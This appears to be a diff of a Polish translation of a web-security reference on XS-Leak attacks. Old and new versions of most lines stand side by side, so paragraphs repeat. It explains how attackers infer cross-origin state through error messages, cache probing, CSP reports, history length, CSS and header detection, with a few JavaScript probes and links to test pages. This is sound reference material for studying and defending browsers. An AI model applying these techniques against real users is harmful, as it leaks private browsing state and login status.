W niektórych przypadkach, **wpis nextHopProtocol** może być użyty jako technika wycieku. W GC, gdy nagłówek **CORP** jest ustawiony, nextHopProtocol będzie **pusty**. Należy zauważyć, że SA w ogóle nie utworzy wpisu wydajności dla zasobów z włączonym CORP.
W niektórych przypadkach, **wpis nextHopProtocol** może być użyty jako technika wycieku. W GC, gdy nagłówek **CORP** jest ustawiony, nextHopProtocol będzie **pusty**. Zauważ, że SA w ogóle nie utworzy wpisu wydajności dla zasobów z włączonym CORP.
### Service Worker
- **Metody włączenia**: Ramki
- **Metody włączenia**: Frames
- **Wykrywalna różnica**: Użycie API
- **Więcej informacji**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
- **Podsumowanie:** Wykrywanie, czy zarejestrowano service worker dla konkretnego źródła.
- **Podsumowanie:** Wykryj, czy zarejestrowano service worker dla konkretnego źródła.
- **Przykład kodu**:
Service worker to kontekst skryptowy wyzwalany zdarzeniami, który działa w danym źródle. Działa w tle strony internetowej i może przechwytywać, modyfikować i **buforować zasoby**, aby stworzyć offline'ową aplikację internetową.\
Service workers to konteksty skryptowe wyzwalane zdarzeniami, które działają w danym źródle. Działają w tle strony internetowej i mogą przechwytywać, modyfikować i **buforować zasoby**, aby stworzyć offline'ową aplikację internetową.\
Jeśli **zasób buforowany** przez **service worker** jest dostępny przez **iframe**, zasób zostanie **załadowany z pamięci podręcznej service worker**.\
Aby wykryć, czy zasób został **załadowany z pamięci podręcznej service worker**, można użyć **API wydajności**.\
Można to również zrobić za pomocą ataku czasowego (sprawdź dokument, aby uzyskać więcej informacji).
@ -418,10 +418,10 @@ Korzystając z [API wydajności](#performance-api), możliwe jest sprawdzenie, c
### Błąd mediów
- **Metody włączenia**: Elementy HTML (Wideo, Audio)
- **Metody włączenia**: HTML Elements (Wideo, Audio)
- **Wykrywalna różnica**: Kod statusu
- **Więcej informacji**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
- **Podsumowanie:** W Firefoxie możliwe jest dokładne wyciekanie kodu statusu żądania z innego źródła.
- **Podsumowanie:** W Firefoxie możliwe jest dokładne wycieknięcie kodu statusu żądania z innego źródła.
- **Przykład kodu**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
```javascript
// Code saved here in case it dissapear from the link
@ -477,20 +477,20 @@ Interfejs `MediaError` ma właściwość message, która unikalnie identyfikuje
- **Metody włączenia**: Fetch API
- **Wykrywalna różnica**: Nagłówek
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
- **Podsumowanie:** W Security Assertions (SA) komunikaty o błędach CORS niezamierzenie ujawniają pełny adres URL przekierowanych żądań.
- **Podsumowanie:** W Security Assertions (SA) komunikaty o błędach CORS nieumyślnie ujawniają pełny URL przekierowanych żądań.
- **Przykład kodu**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
Ta technika umożliwia atakującemu **wyodrębnienie celu przekierowania z witryny z innego źródła** poprzez wykorzystanie sposobu, w jaki przeglądarki oparte na Webkit obsługują żądania CORS. Konkretnie, gdy **żądanie z włączonym CORS** jest wysyłane do docelowej witryny, która wydaje przekierowanie na podstawie stanu użytkownika, a przeglądarka następnie odrzuca żądanie, **pełny adres URL celu przekierowania** jest ujawniany w komunikacie o błędzie. Ta podatność nie tylko ujawnia fakt przekierowania, ale także ujawnia punkt końcowy przekierowania oraz wszelkie **wrażliwe parametry zapytania**, które mogą zawierać.
Ta technika umożliwia atakującemu **wyodrębnienie celu przekierowania z witryny z innego źródła** poprzez wykorzystanie sposobu, w jaki przeglądarki oparte na Webkit obsługują żądania CORS. Konkretnie, gdy **żądanie z włączonym CORS** jest wysyłane do docelowej witryny, która wydaje przekierowanie w oparciu o stan użytkownika, a przeglądarka następnie odrzuca żądanie, **pełny URL celu przekierowania** jest ujawniany w komunikacie o błędzie. Ta podatność nie tylko ujawnia fakt przekierowania, ale także ujawnia punkt końcowy przekierowania oraz wszelkie **wrażliwe parametry zapytania**, które mogą zawierać.
### Błąd SRI
- **Metody włączenia**: Fetch API
- **Wykrywalna różnica**: Nagłówek
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
- **Podsumowanie:** W Security Assertions (SA) komunikaty o błędach CORS niezamierzenie ujawniają pełny adres URL przekierowanych żądań.
- **Podsumowanie:** W Security Assertions (SA) komunikaty o błędach CORS nieumyślnie ujawniają pełny URL przekierowanych żądań.
- **Przykład kodu**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
Atakujący może wykorzystać **szczegółowe komunikaty o błędach**, aby dedukować rozmiar odpowiedzi z innego źródła. Jest to możliwe dzięki mechanizmowi Subresource Integrity (SRI), który wykorzystuje atrybut integralności do weryfikacji, że pobrane zasoby, często z CDN, nie zostały zmodyfikowane. Aby SRI działało na zasobach z innego źródła, muszą być **włączone CORS**; w przeciwnym razie nie podlegają kontrolom integralności. W Security Assertions (SA), podobnie jak w przypadku błędu CORS XS-Leak, komunikat o błędzie może być przechwycony po niepowodzeniu żądania fetch z atrybutem integralności. Atakujący mogą celowo **wywołać ten błąd**, przypisując **fałszywą wartość hasha** do atrybutu integralności dowolnego żądania. W SA wynikowy komunikat o błędzie niezamierzenie ujawnia długość zawartości żądanego zasobu. Ta utrata informacji pozwala atakującemu dostrzec różnice w rozmiarze odpowiedzi, otwierając drogę do zaawansowanych ataków XS-Leak.
Atakujący może wykorzystać **szczegółowe komunikaty o błędach**, aby dedukować rozmiar odpowiedzi z innego źródła. Jest to możliwe dzięki mechanizmowi Subresource Integrity (SRI), który używa atrybutu integralności do weryfikacji, że pobrane zasoby, często z CDN, nie zostały zmienione. Aby SRI działało na zasobach z innego źródła, muszą być **włączone CORS**; w przeciwnym razie nie podlegają kontrolom integralności. W Security Assertions (SA), podobnie jak w przypadku błędu CORS XS-Leak, komunikat o błędzie może być przechwycony po nieudanym żądaniu fetch z atrybutem integralności. Atakujący mogą celowo **wywołać ten błąd**, przypisując **fałszywą wartość hasha** do atrybutu integralności dowolnego żądania. W SA wynikowy komunikat o błędzie nieumyślnie ujawnia długość zawartości żądanego zasobu. Ta utrata informacji pozwala atakującemu dostrzec różnice w rozmiarze odpowiedzi, otwierając drogę do zaawansowanych ataków XS-Leak.
### Naruszenie/Wykrywanie CSP
@ -500,8 +500,8 @@ Atakujący może wykorzystać **szczegółowe komunikaty o błędach**, aby dedu
- **Podsumowanie:** Zezwalając tylko na witrynę ofiary w CSP, jeśli próbuje przekierować na inna domenę, CSP wywoła wykrywalny błąd.
- **Przykład kodu**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
XS-Leak może wykorzystać CSP do wykrycia, czy witryna z innego źródła została przekierowana do innego źródła. Ta utrata informacji może wykryć przekierowanie, ale dodatkowo ujawnia domenę celu przekierowania. Podstawowa idea tego ataku polega na **zezwoleniu na domenę docelową na stronie atakującego**. Gdy żądanie jest wysyłane do domeny docelowej, **przekierowuje** do domeny z innego źródła. **CSP blokuje** dostęp do niej i tworzy **raport naruszenia używany jako technika wycieku**. W zależności od przeglądarki **ten raport może ujawniać lokalizację celu przekierowania**.\
Nowoczesne przeglądarki nie wskażą adresu URL, na który zostało przekierowane, ale nadal można wykryć, że przekierowanie z innego źródła zostało wywołane.
XS-Leak może wykorzystać CSP do wykrycia, czy witryna z innego źródła została przekierowana na inną domenę. Ta utrata informacji może wykryć przekierowanie, ale dodatkowo ujawnia domenę celu przekierowania. Podstawowa idea tego ataku polega na **zezwoleniu na docelową domenę na stronie atakującego**. Gdy żądanie jest wysyłane do docelowej domeny, **przekierowuje** na domenę z innego źródła. **CSP blokuje** dostęp do niej i tworzy **raport naruszenia używany jako technika wycieku**. W zależności od przeglądarki, **ten raport może ujawniać lokalizację celu przekierowania**.\
Nowoczesne przeglądarki nie wskażą URL, na który zostało przekierowane, ale nadal można wykryć, że przekierowanie z innego źródła zostało wywołane.
### Cache
@ -513,7 +513,7 @@ Nowoczesne przeglądarki nie wskażą adresu URL, na który zostało przekierowa
Przeglądarki mogą używać jednej wspólnej pamięci podręcznej dla wszystkich witryn. Niezależnie od ich pochodzenia, możliwe jest ustalenie, czy strona docelowa **zażądała konkretnego pliku**.
Jeśli strona ładuje obraz tylko wtedy, gdy użytkownik jest zalogowany, można **unieważnić** **zasób** (aby nie był już pamiętany, jeśli był, zobacz więcej informacji w linkach), **wykonać żądanie**, które mogłoby załadować ten zasób i spróbować załadować zasób **z błędnym żądaniem** (np. używając zbyt długiego nagłówka referera). Jeśli załadunek zasobu **nie wywołał żadnego błędu**, to dlatego, że był **pamiętany**.
Jeśli strona ładuje obraz tylko wtedy, gdy użytkownik jest zalogowany, można **unieważnić** **zasób** (aby nie był już w pamięci podręcznej, jeśli był, zobacz więcej informacji w linkach), **wykonać żądanie**, które mogłoby załadować ten zasób i spróbować załadować zasób **z błędnym żądaniem** (np. używając zbyt długiego nagłówka referer). Jeśli załadowanie zasobu **nie wywołało żadnego błędu**, to dlatego, że był **w pamięci podręcznej**.
### Dyrektywa CSP
@ -523,17 +523,17 @@ Jeśli strona ładuje obraz tylko wtedy, gdy użytkownik jest zalogowany, można
- **Podsumowanie:** Dyrektywy nagłówka CSP mogą być badane za pomocą atrybutu iframe CSP, ujawniając szczegóły polityki.
- **Przykład kodu**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
Nowa funkcja w Google Chrome (GC) pozwala stronom internetowym na **proponowanie Polityki Bezpieczeństwa Treści (CSP)** poprzez ustawienie atrybutu na elemencie iframe, z dyrektywami polityki przesyłanymi wraz z żądaniem HTTP. Zwykle osadzone treści muszą **autoryzować to za pomocą nagłówka HTTP**, w przeciwnym razie **wyświetlana jest strona błędu**. Jednak jeśli iframe jest już regulowany przez CSP, a nowo zaproponowana polityka nie jest bardziej restrykcyjna, strona załadowana zostanie normalnie. Ten mechanizm otwiera drogę dla atakującego do **wykrycia konkretnych dyrektyw CSP** strony z innego źródła, identyfikując stronę błędu. Chociaż ta podatność została oznaczona jako naprawiona, nasze ustalenia ujawniają **nową technikę wycieku**, zdolną do wykrywania strony błędu, sugerując, że podstawowy problem nigdy nie został w pełni rozwiązany.
Nowa funkcja w Google Chrome (GC) pozwala stronom internetowym na **proponowanie polityki bezpieczeństwa treści (CSP)** poprzez ustawienie atrybutu na elemencie iframe, z dyrektywami polityki przesyłanymi wraz z żądaniem HTTP. Zwykle osadzone treści muszą **autoryzować to za pomocą nagłówka HTTP**, w przeciwnym razie **wyświetlana jest strona błędu**. Jednak jeśli iframe jest już regulowany przez CSP, a nowo proponowana polityka nie jest bardziej restrykcyjna, strona załadowana zostanie normalnie. Ten mechanizm otwiera drogę dla atakującego do **wykrycia konkretnych dyrektyw CSP** strony z innego źródła, identyfikując stronę błędu. Chociaż ta podatność została oznaczona jako naprawiona, nasze ustalenia ujawniają **nową technikę wycieku**, zdolną do wykrywania strony błędu, sugerując, że podstawowy problem nigdy nie został w pełni rozwiązany.
### **CORP**
- **Metody włączenia**: Fetch API
- **Wykrywalna różnica**: Nagłówek
- **Więcej informacji**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
- **Podsumowanie:** Zasoby zabezpieczone Polityką Zasobów Z Innego Źródła (CORP) zgłoszą błąd, gdy będą pobierane z niedozwolonego źródła.
- **Podsumowanie:** Zasoby zabezpieczone polityką zasobów z innego źródła (CORP) zgłoszą błąd, gdy będą pobierane z niedozwolonego źródła.
- **Przykład kodu**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
Nagłówek CORP to stosunkowo nowa funkcja zabezpieczeń platformy internetowej, która po ustawieniu **blokuje żądania cross-origin bez CORS do danego zasobu**. Obecność nagłówka można wykryć, ponieważ zasób chroniony przez CORP **zgłosi błąd podczas pobierania**.
Nagłówek CORP to stosunkowo nowa funkcja zabezpieczeń platformy internetowej, która, gdy jest ustawiona, **blokuje żądania cross-origin bez CORS do danego zasobu**. Obecność nagłówka można wykryć, ponieważ zasób chroniony przez CORP **zgłosi błąd podczas pobierania**.
### CORB
@ -573,12 +573,12 @@ Składając żądanie za pomocą Fetch API z `redirect: "manual"` i innymi param
- **Metody włączenia**: Pop-upy
- **Wykrywalna różnica**: Nagłówek
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
- **Podsumowanie:** Strony zabezpieczone Polityką Otwieracza Z Innego Źródła (COOP) zapobiegają dostępowi z interakcji z innego źródła.
- **Podsumowanie:** Strony zabezpieczone polityką Cross-Origin Opener Policy (COOP) zapobiegają dostępowi z interakcji z innego źródła.
- **Przykład kodu**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
Atakujący jest w stanie wydedukować obecność nagłówka Polityki Otwieracza Z Innego Źródła (COOP) w odpowiedzi HTTP z innego źródła. COOP jest wykorzystywane przez aplikacje internetowe do uniemożliwienia zewnętrznym witrynom uzyskiwania dowolnych odniesień do okien. Widoczność tego nagłówka można wykryć, próbując uzyskać dostęp do odniesienia **`contentWindow`**. W scenariuszach, w których COOP jest stosowane warunkowo, **właściwość `opener`** staje się wyraźnym wskaźnikiem: jest **niezdefiniowana**, gdy COOP jest aktywne, i **zdefiniowana** w jego braku.
Atakujący jest w stanie dedukować obecność nagłówka Cross-Origin Opener Policy (COOP) w odpowiedzi HTTP z innego źródła. COOP jest wykorzystywane przez aplikacje internetowe do uniemożliwienia zewnętrznym stronom uzyskiwania dowolnych odniesień do okien. Widoczność tego nagłówka można wykryć, próbując uzyskać dostęp do odniesienia **`contentWindow`**. W scenariuszach, w których COOP jest stosowane warunkowo, **właściwość `opener`** staje się wyraźnym wskaźnikiem: jest **niezdefiniowana**, gdy COOP jest aktywne, i **zdefiniowana** w jego nieobecności.
### Maksymalna długość URL - po stronie serwera
### Maksymalna długość URL - strona serwera
- **Metody włączenia**: Fetch API, Elementy HTML
- **Wykrywalna różnica**: Kod statusu / Zawartość
@ -586,36 +586,36 @@ Atakujący jest w stanie wydedukować obecność nagłówka Polityki Otwieracza
- **Podsumowanie:** Wykryj różnice w odpowiedziach, ponieważ długość odpowiedzi przekierowania może być zbyt duża, co powoduje, że serwer odpowiada błędem i generowany jest alert.
- **Przykład kodu**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
Jeśli przekierowanie po stronie serwera używa **danych użytkownika w przekierowaniu** i **dodatkowych danych**. Możliwe jest wykrycie tego zachowania, ponieważ zazwyczaj **serwery** mają **limit długości żądania**. Jeśli **dane użytkownika** mają **długość - 1**, ponieważ **przekierowanie** używa **tych danych** i **dodaje** coś **dodatkowego**, spowoduje to wywołanie **błędu wykrywalnego za pomocą zdarzeń błędów**.
Jeśli przekierowanie po stronie serwera używa **danych wejściowych użytkownika w przekierowaniu** i **dodatkowych danych**. Możliwe jest wykrycie tego zachowania, ponieważ zazwyczaj **serwery** mają **limit długości żądania**. Jeśli **dane użytkownika** mają **długość - 1**, ponieważ **przekierowanie** używa **tych danych** i **dodaje** coś **dodatkowego**, wywoła to **błąd wykrywalny za pomocą zdarzeń błędów**.
Jeśli w jakiś sposób możesz ustawić ciasteczka dla użytkownika, możesz również przeprowadzić ten atak, **ustawiając wystarczającą liczbę ciasteczek** ([**cookie bomb**](../hacking-with-cookies/cookie-bomb.md)), aby z **powodu zwiększonego rozmiaru odpowiedzi** **prawidłowej odpowiedzi** wywołać **błąd**. W tym przypadku pamiętaj, że jeśli wywołasz to żądanie z tej samej witryny, `<script>` automatycznie wyśle ciasteczka (więc możesz sprawdzić błędy).\
Jeśli w jakiś sposób możesz ustawić ciasteczka dla użytkownika, możesz również przeprowadzić ten atak, **ustawiając wystarczającą liczbę ciasteczek** ([**cookie bomb**](../hacking-with-cookies/cookie-bomb.md)), więc z **zwiększoną długością odpowiedzi** **prawidłowej odpowiedzi** wywołany zostanie **błąd**. W tym przypadku pamiętaj, że jeśli wywołasz to żądanie z tej samej witryny, `<script>` automatycznie wyśle ciasteczka (więc możesz sprawdzić błędy).\
Przykład **cookie bomb + XS-Search** można znaleźć w zamierzonym rozwiązaniu tego opisu: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
`SameSite=None` lub bycie w tym samym kontekście jest zazwyczaj wymagane do tego typu ataku.
### Maksymalna długość URL - po stronie klienta
### Maksymalna długość URL - strona klienta
- **Metody włączenia**: Pop-upy
- **Wykrywalna różnica**: Kod statusu / Zawartość
- **Więcej informacji**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
- **Podsumowanie:** Wykryj różnice w odpowiedziach, ponieważ długość odpowiedzi przekierowania może być zbyt duża, aby zauważyć różnicę.
- **Podsumowanie:** Wykryj różnice w odpowiedziach, ponieważ długość odpowiedzi przekierowania może być zbyt duża, aby można było zauważyć różnicę.
- **Przykład kodu**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
Zgodnie z [dokumentacją Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), maksymalna długość URL w Chrome wynosi 2MB.
> Ogólnie rzecz biorąc, _platforma internetowa_ nie ma ograniczeń co do długości adresów URL (chociaż 2^31 jest powszechnym limitem). _Chrome_ ogranicza adresy URL do maksymalnej długości **2MB** z powodów praktycznych i aby uniknąć problemów z odmową usługi w komunikacji międzyprocesowej.
> Ogólnie rzecz biorąc, _platforma internetowa_ nie ma ograniczeń co do długości URL (chociaż 2^31 jest powszechnym limitem). _Chrome_ ogranicza URL do maksymalnej długości **2MB** z powodów praktycznych i aby uniknąć problemów z odmową usługi w komunikacji międzyprocesowej.
Dlatego jeśli **adres URL przekierowania jest większy w jednym z przypadków**, możliwe jest, aby przekierować z **adresu URL większego niż 2MB**, aby osiągnąć **limit długości**. Gdy to się stanie, Chrome wyświetla stronę **`about:blank#blocked`**.
Dlatego jeśli **przekierowany URL w jednym z przypadków jest większy**, możliwe jest, aby przekierować z **URL większym niż 2MB**, aby osiągnąć **limit długości**. Gdy to się zdarzy, Chrome wyświetla stronę **`about:blank#blocked`**.
**Widoczna różnica** polega na tym, że jeśli **przekierowanie** zostało **zakończone**, `window.origin` zgłasza **błąd**, ponieważ z innego źródła nie można uzyskać dostępu do tych informacji. Jednak jeśli **limit** został \*\*\*\* osiągnięty, a załadowana strona to **`about:blank#blocked`**, **`origin`** okna pozostaje tym z **rodzica**, co jest **dostępną informacją.**
**Widoczna różnica** polega na tym, że jeśli **przekierowanie** zostało **zakończone**, `window.origin` zgłasza **błąd**, ponieważ z innego źródła nie można uzyskać dostępu do tych informacji. Jednak jeśli **limit** został osiągnięty, a załadowana strona to **`about:blank#blocked`**, **`origin`** okna pozostaje tym z **rodzica**, co jest **dostępną informacją.**
Wszystkie dodatkowe informacje potrzebne do osiągnięcia **2MB** można dodać za pomocą **hasha** w początkowym adresie URL, aby zostały **użyte w przekierowaniu**.
Wszystkie dodatkowe informacje potrzebne do osiągnięcia **2MB** mogą być dodane za pomocą **hasha** w początkowym URL, aby były **używane w przekierowaniu**.
{{#ref}}
url-max-length-client-side.md
{{#endref}}
### Maksymalne przekierowania
### Maksymalna liczba przekierowań
- **Metody włączenia**: Fetch API, Ramki
- **Wykrywalna różnica**: Kod statusu
@ -630,11 +630,11 @@ Jeśli **maksymalna** liczba **przekierowań**, które można śledzić w przegl
- **Metody włączenia**: Ramki, Pop-upy
- **Wykrywalna różnica**: Przekierowania
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
- **Podsumowanie:** Kod JavaScript manipuluje historią przeglądarki i można uzyskać dostęp do niej za pomocą właściwości length.
- **Podsumowanie:** Kod JavaScript manipuluje historią przeglądarki i można uzyskać dostęp do niej za pomocą właściwości długości.
- **Przykład kodu**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
**API historii** pozwala kodowi JavaScript na manipulację historią przeglądarki, która **zapisuje strony odwiedzane przez użytkownika**. Atakujący może użyć właściwości length jako metody włączenia: do wykrywania nawigacji JavaScript i HTML.\
**Sprawdzając `history.length`**, zmuszając użytkownika do **nawigacji** na stronę, **zmieniając****z powrotem** do tej samej domeny i **sprawdzając** nową wartość **`history.length`**.
**API historii** pozwala kodowi JavaScript na manipulację historią przeglądarki, która **zapisuje strony odwiedzane przez użytkownika**. Atakujący może użyć właściwości długości jako metody włączenia: do wykrywania nawigacji JavaScript i HTML.\
**Sprawdzając `history.length`**, zmuszając użytkownika do **nawigacji** na stronę, **zmieniając****z powrotem** na tę samą domenę i **sprawdzając** nową wartość **`history.length`**.
### Długość historii z tym samym URL
@ -643,7 +643,7 @@ Jeśli **maksymalna** liczba **przekierowań**, które można śledzić w przegl
- **Podsumowanie:** Możliwe jest zgadywanie, czy lokalizacja ramki/pop-upu znajduje się w określonym URL, nadużywając długości historii.
- **Przykład kodu**: Poniżej
Atakujący może użyć kodu JavaScript do **manipulacji lokalizacją ramki/pop-upu na zgadywaną** i **natychmiast** **zmienić ją na `about:blank`**. Jeśli długość historii wzrosła, oznacza to, że URL był poprawny i miał czas na **wzrost, ponieważ URL nie jest ponownie ładowany, jeśli jest taki sam**. Jeśli nie wzrosła, oznacza to, że **próbował załadować zgadywany URL**, ale ponieważ **natychmiast po tym** załadowano **`about:blank`**, długość historii nigdy nie wzrosła podczas ładowania zgadywanego URL.
Atakujący może użyć kodu JavaScript do **manipulacji lokalizacją ramki/pop-upu na zgadywaną** i **natychmiast** **zmienić ją na `about:blank`**. Jeśli długość historii wzrosła, oznacza to, że URL był poprawny i miał czas na **wzrost, ponieważ URL nie jest ponownie ładowany, jeśli jest taki sam**. Jeśli nie wzrosła, oznacza to, że **próbował załadować zgadywany URL**, ale ponieważ **natychmiast po tym** załadowano **`about:blank`**, **długość historii nigdy nie wzrosła** podczas ładowania zgadywanego URL.
```javascript
async function debug(win, url) {
win.location = url + "#aaa"
@ -682,7 +682,7 @@ Przykładem tej techniki jest to, że w Chrome **PDF** może być **wykrywany**
- **Podsumowanie:** Odczytaj ujawnioną wartość, aby odróżnić 2 możliwe stany
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
Ujawnienie informacji przez elementy HTML jest problemem w bezpieczeństwie sieci, szczególnie gdy dynamiczne pliki multimedialne są generowane na podstawie informacji o użytkowniku lub gdy dodawane są znaki wodne, zmieniając rozmiar mediów. Może to być wykorzystywane przez atakujących do różnicowania możliwych stanów poprzez analizowanie informacji ujawnionych przez niektóre elementy HTML.
Ujawnienie informacji przez elementy HTML jest problemem w bezpieczeństwie sieci, szczególnie gdy dynamiczne pliki multimedialne są generowane na podstawie informacji o użytkowniku lub gdy dodawane są znaki wodne, zmieniając rozmiar mediów. Może to być wykorzystywane przez atakujących do różnicowania możliwych stanów poprzez analizę informacji ujawnionych przez niektóre elementy HTML.
### Informacje ujawnione przez elementy HTML
@ -699,7 +699,7 @@ Ujawnienie informacji przez elementy HTML jest problemem w bezpieczeństwie siec
- **Podsumowanie:** Zidentyfikuj różnice w stylizacji strony internetowej, które korelują ze stanem lub statusem użytkownika.
- **Przykład kodu**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
Aplikacje internetowe mogą zmieniać **stylizację strony** w zależności od statusu użytkownika. Pliki CSS z różnych źródeł mogą być osadzone na stronie atakującego za pomocą **elementu HTML link**, a **reguły** będą **stosowane** do strony atakującego. Jeśli strona dynamicznie zmienia te reguły, atakujący może **wykryć** te **różnice** w zależności od stanu użytkownika.\
Aplikacje internetowe mogą zmieniać **stylizację strony** w zależności od statusu użytkownika. Pliki CSS z różnych źródeł mogą być osadzone na stronie atakującego za pomocą **elementu link HTML**, a **reguły** będą **zastosowane** do strony atakującego. Jeśli strona dynamicznie zmienia te reguły, atakujący może **wykryć** te **różnice** w zależności od stanu użytkownika.\
Jako technikę wycieku, atakujący może użyć metody `window.getComputedStyle`, aby **odczytać właściwości CSS** konkretnego elementu HTML. W rezultacie atakujący może odczytać dowolne właściwości CSS, jeśli znany jest dotknięty element i nazwa właściwości.
### Historia CSS
@ -707,17 +707,17 @@ Jako technikę wycieku, atakujący może użyć metody `window.getComputedStyle`
- **Metody włączenia**: Elementy HTML
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
- **Podsumowanie:** Wykryj, czy styl `:visited` jest zastosowany do adresu URL, co wskazuje, że został już odwiedzony
- **Podsumowanie:** Wykryj, czy styl `:visited` jest zastosowany do URL, co wskazuje, że był już odwiedzany
- **Przykład kodu**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
> [!NOTE]
> Zgodnie z [**tym**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), to nie działa w headless Chrome.
Selektor CSS `:visited` jest wykorzystywany do stylizacji adresów URL w inny sposób, jeśli były wcześniej odwiedzane przez użytkownika. W przeszłości metoda `getComputedStyle()` mogła być używana do identyfikacji tych różnic stylu. Jednak nowoczesne przeglądarki wprowadziły środki bezpieczeństwa, aby zapobiec ujawnieniu stanu linku przez tę metodę. Środki te obejmują zawsze zwracanie stylu obliczonego, jakby link był odwiedzany, oraz ograniczenie stylów, które mogą być stosowane za pomocą selektora `:visited`.
Selektor CSS `:visited` jest wykorzystywany do stylizacji URL w inny sposób, jeśli były wcześniej odwiedzane przez użytkownika. W przeszłości metoda `getComputedStyle()` mogła być używana do identyfikacji tych różnic w stylu. Jednak nowoczesne przeglądarki wprowadziły środki bezpieczeństwa, aby zapobiec ujawnieniu stanu linku przez tę metodę. Środki te obejmują zawsze zwracanie obliczonego stylu, jakby link był odwiedzany, oraz ograniczenie stylów, które mogą być stosowane z selektorem `:visited`.
Mimo tych ograniczeń, możliwe jest pośrednie rozróżnienie stanu odwiedzenia linku. Jedna z technik polega na oszukaniu użytkownika, aby interagował z obszarem dotkniętym przez CSS, wykorzystując właściwość `mix-blend-mode`. Ta właściwość pozwala na mieszanie elementów z ich tłem, co może ujawniać stan odwiedzenia na podstawie interakcji użytkownika.
Ponadto, wykrycie można osiągnąć bez interakcji użytkownika, wykorzystując czasy renderowania linków. Ponieważ przeglądarki mogą renderować odwiedzone i nieodwiedzone linki w różny sposób, może to wprowadzać mierzalną różnicę czasową w renderowaniu. Dowód koncepcji (PoC) został wspomniany w raporcie błędu Chromium, demonstrując tę technikę przy użyciu wielu linków, aby wzmocnić różnicę czasową, co czyni stan odwiedzenia wykrywalnym poprzez analizę czasową.
Ponadto, wykrycie można osiągnąć bez interakcji użytkownika, wykorzystując czasy renderowania linków. Ponieważ przeglądarki mogą renderować odwiedzone i nieodwiedzone linki inaczej, może to wprowadzić mierzalną różnicę czasową w renderowaniu. Dowód koncepcji (PoC) został wspomniany w raporcie o błędzie Chromium, demonstrując tę technikę przy użyciu wielu linków, aby wzmocnić różnicę czasową, co sprawia, że stan odwiedzenia jest wykrywalny poprzez analizę czasową.
Aby uzyskać więcej szczegółów na temat tych właściwości i metod, odwiedź ich strony dokumentacji:
@ -743,17 +743,17 @@ W Chrome, jeśli strona z nagłówkiem `X-Frame-Options` ustawionym na "deny" lu
- **Podsumowanie:** Atakujący może rozpoznać pobieranie plików, wykorzystując iframe; ciągła dostępność iframe sugeruje pomyślne pobranie pliku.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
Nagłówek `Content-Disposition`, szczególnie `Content-Disposition: attachment`, instruuje przeglądarkę, aby pobrała zawartość zamiast wyświetlać ją w linii. To zachowanie może być wykorzystywane do wykrywania, czy użytkownik ma dostęp do strony, która wyzwala pobieranie pliku. W przeglądarkach opartych na Chromium istnieje kilka technik do wykrywania tego zachowania pobierania:
